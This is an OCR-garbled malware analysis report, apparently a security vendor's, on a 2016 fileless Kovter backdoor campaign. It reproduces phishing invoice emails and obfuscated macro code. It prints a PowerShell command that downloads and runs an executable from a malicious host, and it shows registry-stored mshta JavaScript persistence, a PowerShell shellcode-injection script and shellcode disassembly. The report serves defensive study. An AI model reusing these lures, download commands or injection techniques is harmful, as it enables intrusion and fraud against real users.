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New Wave of Fileless Kovter Backdoor Trojan
Attacks Via “Targeted” Macro-Based Malware
Spam Campaign

INTRODUCTION

During October 17 to 21, 2016, Morphisec identified and prevented several malicious and sophisticated macro-
based documents at the site of one of our customers delivering a fileless Kovter backdoor Trojan attack.

This and similar attacks illustrate the troubling trend that macro-based malspam campaigns are attacking
enterprises with modified evasion techniques now on a weekly basis. With antivirus products updating their
signatures within 3-7 days of the detection of an attack, the window of opportunity is big enough for
cybercriminals to score.

The security stack of our customer is composed of Kaspersky AV, Malwarebytes (an anti-malware solution) and
Morphisec Endpoint Threat Prevention solution. In this case, both Malwarebytes and Kaspersky were not able
to identify the malicious documents, the payloads or any other infection step during the attack chain even when
tested on isolated computers without Morphisec. Only Morphisec prevented the attack on arrival, giving our
customer the peace of mind he expected when augmenting his preferred AV solution with Morphisec.

In many respects, this current malspam campaign demonstrated unique qualities: Better targeted emails,
modified macro with click-based execution, modified payloads and persistency mechanism. A description of a
previous Kovter backdoor variant can be found here:

http://blog.airbuscybersecurity.com/post/2016/03/FILEL ESS-MALWARE-%E2%80%93-A-BEHAVIOURAL -
ANALYSIS-OF-KOVTER-PERSISTENCE.

Kovter is notorious for its sophistication and for attacking in waves: Its fileless variant evolved from previously
pretending to be a Firefox or Chrome update to being delivered through JavaScript inside Zip files in August
2016.
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TECHNICAL ANALYSIS

1. Use of Targeted Emails

Monitoring the latest campaigns, we found the often used “invoice/bill" email pattern. The subject and content
pretends to inform the recipient about a due invoice and that payment needs immediate attention. A sense of
urgency is created by threating the recipient with consequences in case this email is ignored.

The Kovter attack under discussion is of a more targeted nature: The attackers name the attached files with
the company name, and on some of the mails they address the employee by his/her name and job title.

All the emails in this campaign originated from Cox email service users, as you can see by looking at the “from”
field. [Cox allows to use its service in a 60-days free trial ]

Email Example 1
Fwilnc. critical Billing Alert - OVERDUE INVOICE (01A4740)

== I . doc =

=| .docFile

From: Susan Lloyd <bjlv2@cox.net>

Sent: Tuesday, October 18, 2016 11:43 AM
To:ﬂ

Subject:-nc. Critical Billing Alert - OVERDUE INVOICE (01A4740)

oear [

This is an important notice and needs your urgent consideration. Although dispatching you multiple reminders, we received no response from you regarding the long overdue
balance. We think we have provided you extensive time and have been understanding with you. Consequently:

At this point there is no choice but to assign your liability in the hands of a debt collection agency.

This operation will inﬂuence-nc. credit score.

Please reach out to us asap should wish to negotiate an installment plan.

This invoice(s) is seriously past due:

Invoice # Date Due Amount + 5% Penalty fee

INV00154834 September, 10th $2,893.70

Payment terms: see in the attached Billing Statement.

We hope you will give this matter significant consideration.
Best Regards,

Susan Lloyd,

Visual Mfg Accounting

Castro Acctcy Corp.
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Email Example 1

From: Rick Vandrisse [mailto:golfrace@cox.net]
Sent: Tuesday, October 18, 2016 11:51 AM
To:
Subject: Message has been disinfected :
ACCOUNT (Z8294)

This is an important letter and requires your immediate attention. Although emailing you several notifications, we
received no response from you about the seriously past due balance. We think we have given you generous time
and have been patient with you. Hence:

We feel there is no choice but to pass your account in the hands of a debt collection firm.

This action will impact] merica - redit rating.

Please email us as soon as possible if you would wish to negotiate a repayment plan.

merica —_Jrgent Alert - OVERDUE

This invoice(s) is critically overdue:

Invoice # Date Due  Total + 10% Penalty fee
US0158321 Sept, 16th $1,533

Payment terms: find in the enclosed Invoice.
We sincerely hope you will give this situation serious consideration.

Sincerely,

Rick Vandrisse,
Clerical/accounting
William J Portanova

The information transmitted in this email is intended solely for the addressee and may contain confidential,
proprietary and/or privileged material. Any unauthorized review, distribution or other use of this information is strictly
prohibited. If you have received this email in error please contact the sender immediately and delete any and all
copies of this message.

m|m
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2. Malicious Macro

This time the macro has a slight modification in its delivery method. It is not enough to just enable the macro
content.

The code is activated if the macro is enabled and the user clicks on one of the images in the macro: This way it
can easily evade simple sandbox services which have simulated the enable macro content only.

To make detection even harder, the macro writers restricted the edit and view of the macro mapping to the
different image clicks. Adding a restriction password on image edit also disables the sandbox to automatically
map the macro procedures which will be activated.
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3. PowerShell - First Stage

The macro code activates a decrypted PowerShell code that downloads the Kovter downloader from
hxxp://demitartgourmet[.Jcom/changelog/bindatal.Jexe. Note that any image click will eventually result in the
execution of the same PowerShell code.

B Motoman - ThisDocument (Code) EI@
IlGeneral) j |vurvc j
Fublic Sub Imagel Click() Macros -
prBtM
End Sub
Fublic Sub Image? Click() Matro Mame:
prBtM
End Sub
Public Function d(ByVal NprcZr RAs 5tring, ByVal adayYW As String) As 5tring ThisDocument. Image2_Click Ce
For wsoTe = 1 To Len(NprcZr) ThisDocument.prBtiv
Ha¥YJgCB = GmzMp (NprciZr, wsoTe) Ste|
If Not XLamx (adayYW, HaYJgCB) Then
d = Ha¥JqCB & d E
End If
Hext cr
End Function
Public Function GmzMp (ByVal zrvDJ As S5tring, ByVal wsoTe As Integer) As String De

GmzMp = Mid(zrvDJ, wsoTe, 1)

End Function

Public Function XLamx (ByVal sruwbf As String, ByVal gCzDZzy As String) As Boolean
XLamx = In5Str(sruwbh, gCzDZIzy) Macros In: |p,oje¢mmman; Ll
End Function

Public Sub zguFtk(ByVal XYWFJ As String)

[ JliSet UnwaGfr = CreateObject (d("lgl2seFvhwGSb5.DLSRpi4r08YcSxNk™, "Gsb4Y250DFBwokxRv™) )

UnwaGfr.Run XYWFJ, O

End Sub

Public Function VUlvC() As String

VUlvC = d("E VGcv-jx Xs9Xsgap9X9yvbk CfpRe-LR 40pY¥Tomn-1lm GY¥nzedRdm2iB8h zXDwWUB- Y6lkUleFmh3FEYs6&ref8PwVT8opJd™, "Doml
o»| End Function

Public Function AUxsm() As 3tring

LUxsm = d("L)gf8¢qg (HoveUxEOR . 4Kkv) 1XUH1BehMISKL . tRXpVHi r3UL0cSTHOWZE m4XJ60cJZ-B XqgtVeke05iYBBKbTqO-US8w2eNLTv (42
Fnd Function

WUC "powershell -w hidden -nop -ep bypass -c $f=[System.|0.Path]::.GefTempFileName(};{New-Object System Net. WebClient). DownloadFile( http://demitartgourmet. com/changelog/bindata. exe’, $f);(New-Object -com WScript. Shell). Exec(Sf)"

4. Double Persistency through File-Less mshta Scripts
To gain persistency, Kovter uses both the Run key in HKCU (*) and the “Start Menu/Programs/Start” path.

[* For description of the use HKEY_CURRENT_USER..\Run see also
https://blogs.technet.microsoft.com/mmpc/2016/07/22/kovter-becomes-almost-file-less-creates-a-new-file-type-and-gets-
some-new-certificates/]

4.1. HKCU

In the "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" technique we can find two persistency
methods which are both activated to reassure the execution of Kovter upon user login. We use RegmagiK to
show you the persistent code in the registry, because regular regedit.exe is not sufficient as a result of non-
ASCII characters that the attackers inserted intentionally.

The first “mshta” procedure will activate a JavaScript eval () function that executes a registry parameter written
in a different registry location [described further below].
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B RegmagiK (Admi J CURRENT_USE i 2 \F [E=REc™x"
— — !|l J. « Local Disk (C3) » Users » b AppData » Local » abab Search abab
Ee e ghlaEn0AaX (b0 Bas R @S s T nize v [@]Open  Sharewith v  Bum  Newfolder {21 f4ba Properties [
S e -3 I B - - -
= - Favorites ame | Compatiiity | Secuty | Detals | Previous Versions |
; Mame Type Data Deskiap &b General | Shotcut | Options | Font | Layout | Golors |
0 Windows [38 REG_SZ 2 "C\Windows\system32\mshta.exe” javascriptIL6BY="Msft"E Downlond '
=] = &
B CurentVers | g REG_SZ @ ”(:\Use.s‘-AppData\Loca\\anab\mba.lnk" g Powmioncs B} el43.50fec - bz
(3 Action ¢ %] Recent Places @ f4ba
(23 Applets
J Tergettype:  Windows Batch File
g E"”"“‘P Libraries
evice 3
o Do) 5 Documents Target location: abab
= Music Target ser - 0=t ocal b B0 et
~([Z3 Extensio = Pictures
[E2 Group P, Videos Start in:
[ HomeG| _
Eime | Shotutkey:  None
(23 Internet || Homegroup
& mcT Run [Minimized -
-3 NetCacl /B Computer Comment
2 Policies
-3 RADAR W Network [ Open Fie Location | | Chenge leen... | [ Advanced... |
ém 3 B ymware-host
R [ - >
Thank you for using Regmagik. Learn more st www.regmagik.com
YT NeE - — —
File Edit Search View Encoding Language Settings Macro Run Plugins Window 7
cHEB LB Do te 23 B3 1 ([EREHue BENEE Cancel oply
Drewi18] ¢ Esseosa |
1 ILEBY = "M=ftt; T start "" "C:\Users | roata\Local \abab) o143, 50tec”
2 Br56 = new ActiveXObject ("WScript.Shell™):
3 186bQZs =
4 HV4PE = Br! ead ("HKCU\\software\\gpvlgi\\coydudku") ;
" s yBVmO26v =
& eval (HV4:
7 tSqy33 =

The second Run persistency method will activate a link file that is created in the local directory. This link file just
activates a stub [filename].50fec (random name). The activation of the file is less interesting, but as it looks
from registry, Kovter has created an open command registry to trigger a code execution when the associated
files are activated (c56e and 50fec), in this case again a mshta JavaScript code will be activated with the same

code from registry. [ For detailed description see https://blogs.technet.microsoft.com/mmpc/2016/07/22/kovter-
becomes-almost-file-less-creates-a-new-file-type-and-gets-some-new-certificates/ ]

i Regmagik i ) CLASSES_ROCT\CSH P LS
Fle Edt View Go Bookmorks Tools Help = |, « Local Disk (C:) » Users » -» AppData » Local » abab v | 43 W Search abab B
eS| g BaaEEEX | AER[ MRS E s T nize v #7Open  Sharewith v  Bum  Newfolder = 0 @
t M - v Name : Date modified Type Size
+[L BehaviorFactory.MicrosoftDX + hme  Type Data avorites
Desktoy ) 5560.bat 10/20/201610:41 .. Windouws Batch Fil 1B
{8 BehaviorFactory Microsoft DX AWindows\system32\mshta.exe” 'javascript:idelyy 0M=new ActiveXObject(".. v i nelows Baen e
{23 bidispl bidirequest - §. Downloads 5] c143.50fec 10/20/2016 1041 ... SOFEC File 28
23 bidispl.bidirequest.1 | Recent Places &) 4ba 10/20/201610:41 ... Shortcut 1K8
-2 bidispl.bidirequestcontainer @
(23 bidispl.bidirequestcontainerd L
ibraties
123 bidispl.bidisp! & o,
20 bidispl.bidispl.1 + | @ RegmagiK (Administrator) CLASSES_ROOT\.50fec =@ = ]
[ BMPFilter.CoBMPFilter
(3 BMPFilter.CoBMPFiterd pi [ File Edit View Go Bookmarks Tools Help
(23 bootstrapuvste Vi@ @i g B s E| x| 5B BAQ| RS g6 R
ggnz:stvap.vsto‘l S -3
-2 Briefease
() brmFile | Ho £ 3gpp | Name Type Dats
2 SOfec @
[E3 Byot.ByotServerEx ) REG_SZ 3 S6e
23 cS6e 1B cof Qs
-2 shell g 'Mi
(23 open e | e -
23 command i W B! v = o
£ rnne .
Rl o o 0 ] > Thank you for using RegmagiK. Learn more at www.regmagik.com
Thank you for using Regmagi. Learn more at vww.regmagik.com ;
n o — ~— (=@ = |
562 on open S L
File Edit Search View Encoding Language Seftings Maco Run Plugins Window ? X
HHE GBI s BB|2ei el *s BRI IEEEACe DEDEE
[= hkeu_nunbe B3 | [= e56e_on_open_5lfec bd £
1 ILEBY = "Msft"; 1 kledyye
2 Br56 = new ActiveXObject ("W 2 N40M = new ActiveXObject ("WSeript.Shell"):
3 18€bQZs = "fn"; 3 eGIB9LB = "DpVHWhR";
4 HV4PK = Br56.RegRead ("HKCU\\softm apvlgi\\coydudku) ; 4 3Q431 = N40M.RegRead ("HECU\\software\\apvlgi\\coydudku™) ;
| E] VvBVmO26v = " E gDSwhEMY = JtUCVR";
6 eval (HV4PK) ; 6 eval (3Q431)
7 tSqy33 = "wR"; T 110v8i = "34n¥YBQ";
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4.2. “Start Menu/Programs/Start” path

MORPHISEC LAB

The second persistency mechanism - as can be seen from process monitor - is the addition of a link file
(.Ink) in the Startup directory. Upon login this file is activated as well as a very similar stub file (*.50fec) and
the same mshta script that is registered in the open command registry path will be activated as a trigger.

Home Insert Page Layout Formulas Data Review  View o §
= = L — N — L
2 & cut Calibri L AN == ® S Wrap Text s Normal Bad == = [ = Autosum ,}
= 53 copy ~ =l 8] Fin 4
Paste . B I U~ b A === = B Merge & Center $ 0 ;00 | Conditional Format lZl Input Insert Delete Format Sort &
» < Format Painter - - - Bl mers * | Formatting ~ as Table - (2 Clear ~ Filter
Clipbaard u Font u Alignment Humber Styles Cells Editing
D1537 " XV f ‘ C:\UsEr-AppDala\Rusming\6cb0\5620.50fsc
A B € D E F G H 1 J
1 ProcessName |-T|PID ~ | Operation -T|Path ~|Result | - |Detail |~ =

1972 WriteFile
1972 WriteFile
1972 WriteFile
1972 WriteFile
1972 WriteFile

188 regsvriZ.exe
189“ regsvri2.exe
313 regsvriZ.exe
537 regsvril.exe
SSBJ regsvril.exe
110

C:\Users' ppData\Local\abab'\c143.50fec

C:\Usel rsprData\loca I\abab\5560.bat

c\wsers\SN PrOata\Local\abab\faba. Ink

C:\Usel rs_AppData\Roami ng\6cb0\5620.50fec
\ \

causers SR 90t

\Start Menu\Programs\Startup\0801.Ink

SUCCESS Offset: 0, Length: 20,920, Priority: Normal
SUCCESS Offset: 0, Length: 60, Priority: Normal
SUCCESS Offset: 0, Length: 904, Priority: Normal
SUCCESS Offset: 0, Length: 39,147, Priority: Normal
SUCCESS Offset: 0, Length: 982, Priority: Normal

(= 8 = ]

=
er_ AppData b Roaming » 6cb0 v [#2] [ Search 6c60 » M@Q-\ |l « Microsoft » Windows » StartMenu » Programs b Startup - [ 44| [ Search Starup
Irganize v Include in library ~ Share with + Burn New folder g - [ @ Lorgang - [57 Open Share with + Burn New folder = -
X Eavorites Name . Date modified Type Size A Name ’ Date modified Type Size
B Desktop |5 s620.50fec 10/20/201610:41 .. SOFEC File 9Ke B Desktop 8 0301 10/20/2016 10:41 .. Shortcut 1KB
18 Downloads 14 Downloads (R 0201 Properts =)

] Recent Places £ Recent Places

4 Libraries 4 Libraries

[ Documents [ Documents
& Music & Music

[ Pictures [ Pictures
B8 videos B8 videos

& Homegroup #% Homegroup

B Computer 18 Computer

i Network
18 ymware-host

€ Netwark

™ ymware-host

5. Mshta and PowerShell executed directly from registry

| Compatibiity | _Securty | Detas | Previous Versions |
| General | Shotout | Options | Fomt | Layout | Colors |

Application

Target location: System32
Target mpﬂma\ﬂoaming\&bm Slfec”

Start in:

Target type

Shotcutkey:  Nons

Run [Minimized -

Comment:

[ Anan Fin larmtine | [ Chanmatonn | [ 2dvanead |

After observing the persistency steps, we are diving into the JavaScript code that is activated through the mshta
(and is written in HKCU/Software/<RANDOM>/<random>). We notice that the JavaScript pattern is not very

different from previous Kovter patterns.
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£ - 1 | EBotzfidto REG.SZ  ifF-A0& WaBlEKS)yKicr 09,7+ 85,0F0q-2:3A| O] 0L’ B caPratmn:"d|C 2 ¥GENCPEGTnSe0JCEVUG33tLil VBIX: J4DROVE26RUBH"
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-/E2 Console : B —
= @BJtyer REG_SZ Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWeS; Trident/7.0 3 YTTUVXGDBBgLRIRATZERNZC ZvmJONOLIFJg)1g6
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23 EUne [BBJxjkg REGSZ  091005623EDG6SBAB 5 =6 3
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g Printers 14 UAzJS1MAuHEvwUAWYUX
{22 Software 15 x80tABE = "r:
@ 7-Zip 16 for (ZtLV4Iwe =
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(2 AppDataLow 18 ROpECETzwlugg7ODYmEsSYrl
(3] Classes 19 PJIx0aBhgGSqIalLEve ¥hHPO
51 Guzner 20 *EEBezz08uQrRBYqwalxYH = "hnTzB4kSNASKOS
&M g 21 iLCEUchWYJJ1WpuzvZSH = "Mz2Fm
acromedia s GAmGD3FCVnAalsjObyHZaNb
& Microsoft 23 bwUYIXdiSFsJYRVUQoimomiRi = "71
24 mQ3ixFPsfHAEC) SwkneZU6 = "zzHvikoo(
25 NEWEKExvO0Y = "OfVmpylizfoXlrKke 1 kINASZNEIKY
(=} 26 HGOaMCOKOBMO = "":
{1 Policies 2 for (TurnuoETRalRy2 = gsBQVQRaNONsrEzk = 0; gsBQVQRxNONsrEzk < x80tABr.length; gsBQVQRxNONsriz
&2 g 2 HG0aMCOKOBMG += String.fromCharCode (xS0TABr.substr (qsBQVQRXNONsrEzk, ) .charCodeAt() A NbW
21 SetupFactory 29 TurnucETRalRy2 = (IurnucETRalRy? < NOWLKfxvOY.length - 1) ? TurnuoETRalRy2 + 1
30 ¥
(3 Sysintemals 31 1mdqdWBerzPLHAITMG = "Ogl4ZaGéaub
0 Telerik adfa m o 32 JT¥0PUD0iilgwCawgiPRIvV
Thank you for using RegmagiK. Learn more at www.regmagik.com B " UPec2cHYZatSiRbEg = "X
e e Terusng RRAMAgT LSS METE S A Bg Mg EET - -=—=- 34 eNCERMI5JbcReiRyWougmeQ XOXOTgy
35 br4qplREIGaKIOHIKMD = "egaqdxRdF
[= 562 _on_open_Slfec.od EI -
S 36 3FX;
1 kledyye npm 37 PIp4blILGHiprzcIIQILXrT
2 N20M = new Ret 38 BhpEwogXUYQTLXEMIZSE =
3 39 eval (HGOaMCOKOLMO) ;
4 U 1 40 MKTCEKUK2YxrtUnQPLMSVWCAT
5 qDSWhSMY = "VLUCYR"; a1
6 eval (3Q431) 7 42
7 110v8i = "34n¥B 43

This JavaScript code eventually activates a PowerShell script. The PowerShell stage 1 script just writes to
environment variable the second stage script and then activates it.
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1532 7B0E3605057 2012226054 21029566355607A 2058313957 2918 1C1636761029002C67 3A2850107F 54040A3D 2F 1E 174527 05406908 290E 460129 345C0538370020033C002A0459591136252C PR
686E 1E7F3FID 0547E7C69121 QE227F 78491819612402101302124411: 3546816470835 163E04 387801083221 21 3601 7E18352 PR ) [\ b\ 0005 100 Le 100107001700,
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" 508 I0RNDSkedGSkXbNZ] = "GCrFsF2dS 10RO TXIN" File Edit Search View Encoding Language Settings Macro Run Plugins Window 7 x
12 WURIaSnACzmE3pFerGobu - "WESCEa7DUUIXICFYHFpz7SaGtUMUsUskearcharscncel o LI B 3 @& 4 DB 2 || x x| BE (S I1EERE DD ® | = b B E
13 SNE0BEDEYBRPEECSAUTEUPE = “ESYLRINIANBPCEONEFXIyENKIATSr " 5 c56e_on_open_ SFecte & EHGOEMOOkObMO.]sﬂl
14 NAYEEVUBEFHPLALMDOQRZXY = "JICtzZiQNQAHAIZBNXYY rnvaha@fypkeFgsOnF17hi
15 CbOem1GFYNHRIYZQ4MWAZ = "VYBOFI11Zs955crTZ9ISHFyDIROXS" ; 2 TMwENqUoLFJHNMOLDRYPu = "ymiSEjsloMaC
16 UAZISIMAUHAVWUAWYUX = "YsF2IDCBSITHMSAvcOrvS0k22ndyLNgIXYG" ; : FETAEXInansqrEEQUILE = TuiieTy ;
i 3 HXZOQpOGOOELCb@Czdemdb = "k3¥qIxbxEWS0T
17 xBBLABr = "7; a try {
for (ZtLV4Tue = 8; ZtLV4lwe < JARSS.length; ZtLV4Iwe += 2) x8BtABr += s moveTo (- 1
G2ILnGQowmCEIZteymx = 1oL 1VbuPY2ZroxGZHySP295LOGINVIIRIETAYm" 5 6 resizeTo(o, 0):
RBPPCFTzufuQg70DYMASSYr] = "yOzfYSH71D8HVIQ0KUZNO2MTS 28ebxC1u7DYgN243 7 763N = new ActiveXObject ("3
1x0aBhEGSaIalLKvEYhHPE = "HM3Z1HGeE7rOmNSS FyXTheTIHSDILK2YR™ 5 8 (v63N.Enviromment ("Process")) { 1 mBaseé4String (' E2avassHen
XEEBC2208UQrRBYEWaOXYH = "hmTzB4KSNASHOBXHIHXKF IKPAr LOgaHIMECGVVIF" 5 B pwash = v&3N.Run(" Lndavs v T, 0. 1)
iLOEUChlyJ11WpuzvISH = "Mz8FmyqZwB03Uew3yjkSdIBaoilsGpi®; ﬁ 311:::?;;(&) i}
GAMGD3FCVRABLSJ0bYHZAND = "BannoqdeCIV3FEtdEVHDXSLENY171";
buUYIXdiBFSIYRVUgoimumlR1 = "71Mml7tP3CGS7LhaRBsysACY";
TQixFPSFHIEO]SwknCcZUS = “zzHvkooQLGKTHKUFSHADKQ" ;
NbWFKFxvBY = "BFVmpy1zfoXLrik(193DEBNTeEdoglqLz 8L 3GHOCExn 1017 3T 35KAL
28 =
29 for (T = 0380 =0 k < xBOtABr
38 += String.fromCharCode (xBOtABr . substr(qsBOVORXNANsrEz)
31 TurnuoETRalRy2 = (IurnuoETRalRy2 < HbwWfKFxvaY.length - 1) ? Iurnuot
32 3
33 1moqaWBerzPLHALING = "0gL48aG6aUPL7qxe54rQYipBpRIPYXEBLEOULOROLY" ;
34 IV@PUD0i11guCqugiPKIv = “PS18049bhpQufgtuEIKNGEREFsgSSHIXIVDEHE" ;
35 mIUDs02cHYZatSiRbHg = "XiytDaPNe36HBS2KITxHSINYxIyoyAKON" ;
38 eHCERMISIbeReiKybcugne = "XQXD7gyDUHCE7IYXDkoS " ;
37 bt4qplREIGKFOHIKMD = "egaqdxRdFCyDhORNCHNNZROASTFTBFoUXDUQS "5
38 KM2ezFuRir3FXIHAOKUGNWZ = "nlz6gucsUzIiSE1nF33ul";
33 PIp4b19LGXiprzcIIQLLXrT = "FEPLVSIXXBIgXeB1nEGKNAQyMazCIADFPghridREY" 5
4 QTLXBMI2SF = "cmfsBZAZXSXKErpyZrLWlVIVGEeQcmIAG s3eH";
21 evel([iGEBHCOROBIN) ;
42 MKTCEKUKZYXFUNQPLMSVHCAT = *iCWQBCGTKpiKEyIxMEqbeCelul”;
43 WCKEQETCZUHSZANBMGLU = "3eKTLf33MiSXDIttaLau”; Ll s
24 BlGkgczbh = "6FXecp2y35BstYNUEHAFOLNRHUT NN ; JavaScript file length: 24,010 lines:11 Ln:8 Col:44 Sel:8|1 Windows (CRLF)  UTF-g INS
45 FHHECYFsZMPpVGXBDXFZRESB = "X5V7@1Q6LAGHUbEbVThatxF2]7 luGVUEORID’
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6. PowerShell - Second Stage

The second stage script (described previously here -
https://blogs.technet.microsoft.com/mmpc/2016/07/22/kovter-becomes-almost-file-less-creates-a-new-file-
type-and-gets-some-new-certificates/ ), has the main goal to stay in-memory. It creates a shellcode on the fly
and injects it directly into the same PowerShell process (described further below).

We can notice the usual pattern of allocating code in the process, mem copying the code into the allocated
space, and using the CreateThread function to execute the shellcode.

£ : . = .

slesp(15);

Jery{
] function gdelegate{
Param {
[Parameter (Position=0,Mandatory=§True)] [Typ=[]] $Parameters,
[Parameter(Position=1)] [Tvee] SReturnType=[Void]
Yi
$TypeBuilder=[AppDomain] : :CurrentDomain.DefineDynamicAssembly ((New-Object System.Reflection.AssemblyName ("Reflectedbelegate")), [System.Reflection.Emit.Asse
§$TypeBuilder.DefineConstructor ("ETSpecizliName, HideBySig, Public”, [System.Reflection.CallingConventions] : :Standard, §Parameters) . SetImplementationFlags ("Runtis
$TypeBuilder.DefineMethod (" Invoks", "Fublic, HideBySig, NewsSlot, Virtual”, $ReturnType, $Parameters) . SetImplementationFlags ("Runtims, Managsd”) ;
return §TypeBuilder.CreateType();
s }
1 funetion gproc{
Param {
[Farameter (Position=0,Mandatory=5True)] [String] $Module,
[Parameter (Position=1,Mandatory=§True)] [String] S$Procedure
)i
$SystemAssembly=[AppDomain] : :CurrentDomain.GetAssemblies () |Where—Cbject{§ .GlobalAssemblyCache -&nd § .Location.Split("\") [-1].Equals("Sy=tem.gll")};
SUnsafeNativeMethods=§SystemAssembly.GetType ("Microsofe . Wini2 UnsafeNativeM thods") ; -
return $UnsafeNativeMethods.GetMethod("GetProciddre=s").Invoke (Snull,@([System.Runtime.InteropServices.HandleRef] (New-Object System.Runtime.InteropServices
: }

[Bvt=[]1] $sc32 = 0x55,0x8B,0xEC, x81,0xC4,0x00, xFA, (xFF, (xFF, 1x53, 0x56, k57,053, 1x56, 0x57, 1xFC, 0x31,0xD2, 1x64, 0x8B, 1x52, 1x30, 0x85, 1x52,0x0C, (x85, 1x52, x14, Ix
[Uint32[]] Sop=0;
$r=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((gproc kernel32.dll VirtualProtect), (gdelegate @ ([Byte[]], [UInt32],[UInt32], [UInt32

3 if (¢ —eq 0) {Spr=([System.Runtime.IntercpServices.Marshal]::GetDelegateForFunctionPointer ((gproc kernel32.dll Virtualallec), (gdelegate @([IntPtrl, [UInt32], [UIn
1 if ($pr -ne 0) {$memset=([System.Runtime.InteropServices.Marshal]::GetDelsgateForFunctionPointer ((gproc msvcrt.dll memset) , (gdslegate @ ([UInt32],[UInt32], [UInt32
1 for ($i=0;8i -le (§sc32.Length-1);§i++) {

S$memset.Invoke ((Spr+$i), $sce32[S$i], 1)
- T
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((gproc kernel32.dll CreateThread), (gdelegate @([IntPtr],[UInt32], [UInt32], [UInt32], [UL:
- }}else{([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ({gproc kernel32.dll CreateThread), (gdelegate @([IntPtr], [UInt32], [Byte[]l], [Byte
i }sleep(1200);
-}ecatch{}
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7. Shellcode

The first shellcode again will evade security solution by staying in-memory and getting its Kernel32 and
Advapi32 functions from PEB.

1) The shellcode will look for KERNEL32 by traversing the PEB and comparing the HASH name after
applying ROR 13 hash function (popular pattern).

[#] Functions window 08 x IDA View-A g @ Hex View-1 B @ Structures B E Enums (x| Imparts 3
Function name Segme push elnlc
b0 000 push esi
e ==g push edi
push ebx
< > push esi
push edi
cld
%, Graph overview Oa& x Xor edx, edx
nouv edx, fs:[edx+30h] ; PEB
nov edx, [edx+8Ch] ; 1dv
nouv edx, [edx+14h] ; InHemoryOrderHodulelist

i, [edx+28n]
h

; ROR 13 Hash
edi, 6Dh
edi, eax
loc_24

FEIE]

cmp edi, 6AMABCS5Bh ; KERMEL32.DLL
mov ebx, [edx+10h]

mou edx, [edx]

inz short loc 1C

100.00% (326,1327) (1025,95) 00000034 00000034: sub 0+34 {Synchronized with Hex View-1)

2) The shellcode then looks in the export table for 4 functions (LoadLibraryA, GetProcAddress, VirtualAlloc,
ExitProces. For faster execution, the shellcode compares the dwords instead of using regular byte
compare.
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nuu LA, prax]
add ecx, [ebp+Basefddress] ; Function Hame

cmp dword ptr [ecx], 64616FACh ; cmp hex('Load') part of the LoadLibraryf
jnz short loc_2DAB692

*_I,

lea eax, [ecx+4]
cmp dword ptr [eax], 7262694Ch ; cmp hex{'Libr')
jnz short loc_2DABG692
I_*I
E —FunctionsToLookFor.bct-N... - m} X El—ﬁ
lea eax, [ecx+8]
File Edit Search View Encoding Language Settings Macro cmp dword ptr [eax], 417972610 ; cmp hex{ aryf’)
Run  Plugins Window I X jnz short loc_2DABG692
sHHER G s mk|iae(hy|l 5
[=] Functions TolLookFor bt E:I|
1 Eernell32: lea eax, [ecx+dCh]
N . cnp byte ptr [eax], 8 ; End OFf Hame
2 LoadLibraryh inz short loc 2DAB692
z) GetProchddress T
4 VirtualZlloc L+
5 ExitProcess El—ﬁ
& Advapil2: mou eax, [ebp+Exporthir]
- mou eax, [eax+24h] ; RUA Address Of Ordinal Hames
! RegOpenReyExA add eax, [ebp+Basenddress]
8 Reg’QueryValueExPJ ®xor edx, edx
push edx
push eax ; Address of Ordinal Names
mowv eax, esi
add eax, eax
cdq
add eax, [esp]
adc edx, [esp+i]
add esp, &
mow ax, [eax]
mow edx, [ebp+ExportDir]
mou edx, [edx+1Ch] ; Address Of Functions
Ln:8 Col:21 Sel: Dos\Windows UTF-8 w/o BOM INS add edx, [ebp+BaseAddress]
movzZX  eax, ax
shl eax, 2 ; Ordinal Calculation
add ed®, eax
mou eax, [edx]
add eax, [ebp+Basenddress] ; Function Address (LoadLibraryf)
mow [ebp+var_44], eax
I

3) After getting the KERNEL32 functions, it uses the LoadLibraryA and GetProcAddress to get the two
advapi32 functions (RegOpenKeyExA and RegQueryValueExA). Those functions are used to read the
Kovter shellcode from the registry, decrypting this shellcode and using the VirtualAlloc to inject it again
in the same PowerShell process.

ile Edit Jump Search View Debugger Options Windows Help
HEH e B B ) G B - F X b D O [Nodebugger M1 ol e
7

Library function | Data [ll Regular function I Unexplored [l Instruction External symbol =
= = = = = RegmagiK (Admini URRENT L j e
Jrunctonswindow O & X | [Emaven-sad Drexvew1E) [Esmucwres ) [E ewms B mports (] (2 Exports [ & Regmasi —
T Tuc—zvRnST File Edit View Go Bookmarks Tools Help
unction name -
7] sub_2DABS5C e s ShlaE x| iR Bacd| @l ade ?
N FIEE] 1t -
xor eax, eax -0 AppEvents “ | Name Type Data
3 === :3: E:p':::—q“]' eax g“‘"“"e ofzfidbxo REGSZ ifF-ADé V¥aB4EkS)yXic-| q-YaA | Oce]@i" ®4caPratm-»"il
e een) nou [ebpruar_AB], eax DE"’“""”":‘ | @ coydudku REG_SZ 16EDYICVrwIT qrOwH= "fr2ulfCpZDfapLxmuSmyZIT1RTGLrfPHYmRxbO,
lea eax, [ebp+uar_90] ; ey ."D EE‘;’;‘””‘E” tyer REG_SZ Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWG4; Trident/7.0,
push  eax [38) izugkrsfiz REG.SZ 862
push 1 £ tdetites E REG.SZ  091005623ED6SBAB
push [ (£ Keyboard Layout Bgeq -
mov eax, [ebpruar 84] ; software\gpulgj £ Network ]jzwk REGSZ 1476952892
push
push  80000OGHR 20 Printers
call [ebp+uar_50] : RegOpenkeyExA (HKCU\Softuare\qpulgj) -~ Software
test  eax, eax @7z
jnz loc_2DABB37 (23 Adobe
[ AppDataLow
[ Classes 3
il e 2 Guzner
lea eax, [ebpruar_AD] [ Macromedie
s:z: Sa" (£ Microsoft
lea eax, [ebpruar_94] L Netscape
push  cax [ NTCore
push 0 {51 0DBC
nou eax, [ebpruar_s4] : otzfidtxo {22 Policies
add eax, ¥ih ; A" .
push  eax a :'"'QJF
nov eax, [ebpsuar_90] ; Key 5 SetupFactory |
push eax (23 Sysintemnals
call  [ebp+uar 54]  ; RegQueryUalueExA (HKCUMSoftuare\qpulgjlotzfidtxo) -2 Telerik
test  eax, eax (5 YMware, Inc.
jnz short loc_20ABB37 {53 Wowbd32Node - - ;
|
Thank you for using Regmagik. Learn more at wunw.regmagik.com
s
cnp [ebp+var_Ao], 6un ; "0
jbe short loc_2DABB37
